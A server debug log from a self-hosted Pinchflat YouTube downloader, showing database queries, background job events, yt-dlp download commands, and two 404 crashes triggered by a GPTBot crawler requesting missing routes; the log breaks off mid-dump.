22:38:44.221 [debug] QUERY OK source="media_items" db=2.5ms idle=1156.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [368166776, ~U[2026-03-28 02:38:44Z], 98] 22:38:44.221 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:38:44.221 [info] {"args":{"id":98},"id":97,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":123153747,"event":"job:stop","queue_time":6455067390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:38:44.222 [debug] QUERY OK source="tasks" db=0.2ms idle=634.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:38:44.222 [debug] QUERY OK source="tasks" db=0.2ms idle=1159.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:38:44.222 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 22:38:44.222 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 22:38:44.227 [info] {"args":{"id":100},"id":99,"meta":{},"system_time":1774665524227615228,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:38:44.227 [debug] QUERY OK source="media_items" db=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100] 22:38:44.227 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:38:44.228 [debug] QUERY OK source="tasks" db=0.2ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:38:44.228 [debug] QUERY OK source="tasks" db=0.3ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:38:44.228 [debug] QUERY OK source="sources" db=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:38:44.228 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [99, 100] 22:38:44.228 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [99, 100] 22:38:44.228 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:38:44.228 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [100] 22:38:44.229 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [100] 22:38:44.229 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:38:44.229 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:44.229 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:44.229 [debug] Running yt-dlp command for action: get_downloadable_status 22:38:44.230 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:44.230 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:44.230 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:44.230 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/05/d405ec0546fce290ad0ee31ad943f9b428fe1e1c44e4b29b908fbdd745f09f38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:38:46.554 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/05/d405ec0546fce290ad0ee31ad943f9b428fe1e1c44e4b29b908fbdd745f09f38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:38:46.554 [debug] Running yt-dlp command for action: download 22:38:46.555 [debug] QUERY OK source="settings" db=0.0ms idle=964.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:46.555 [debug] QUERY OK source="settings" db=0.0ms idle=492.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:46.555 [debug] QUERY OK source="settings" db=0.0ms idle=492.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:46.555 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=scAcclzNz4g --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/75/14/7514b2fa068bb37758e3e53fe04f48d8ca0d979764cc1537815e69ee43fd34cb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:38:58.933 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.678 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:25.272 [info] GET /sources/1/force_download_pending 22:39:25.273 [debug] QUERY OK source="settings" db=0.2ms idle=1210.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:25.273 [debug] QUERY OK source="settings" db=0.2ms idle=1210.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:39:25.273 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:39:25.274 [error] #PID<0.4918.0> running PinchflatWeb.Endpoint (connection #PID<0.4917.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46318}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4918.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDg7dUnx_OGhzMAAHoD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46318}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46318}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4918.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, (truncated) 22:39:28.934 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:58.936 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.679 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:26.078 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ae/2d/ae2d0bca3c9c63f2374ea4d20b90d373799d3c39fddb4a1266a5dad90b838241.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:40:26.089 [debug] Running yt-dlp command for action: download_thumbnail 22:40:26.089 [debug] QUERY OK source="settings" db=0.0ms idle=330.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:26.089 [debug] QUERY OK source="settings" db=0.0ms idle=27.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:26.089 [debug] QUERY OK source="settings" db=0.0ms idle=27.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:26.089 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/99/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5a/12/5a129394e51237e5ec950a2872e972dd24fd7adc389611fefa082a1bfc0478d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:40:26.230 [info] GET /sources/2/force_download_pending 22:40:26.230 [debug] QUERY OK source="settings" db=0.0ms idle=168.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:26.231 [debug] QUERY OK source="settings" db=0.0ms idle=168.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:26.231 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:40:26.231 [error] #PID<0.4928.0> running PinchflatWeb.Endpoint (connection #PID<0.4927.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4927.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46440}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4928.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDg_AaShwzMxs4AAHsD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: 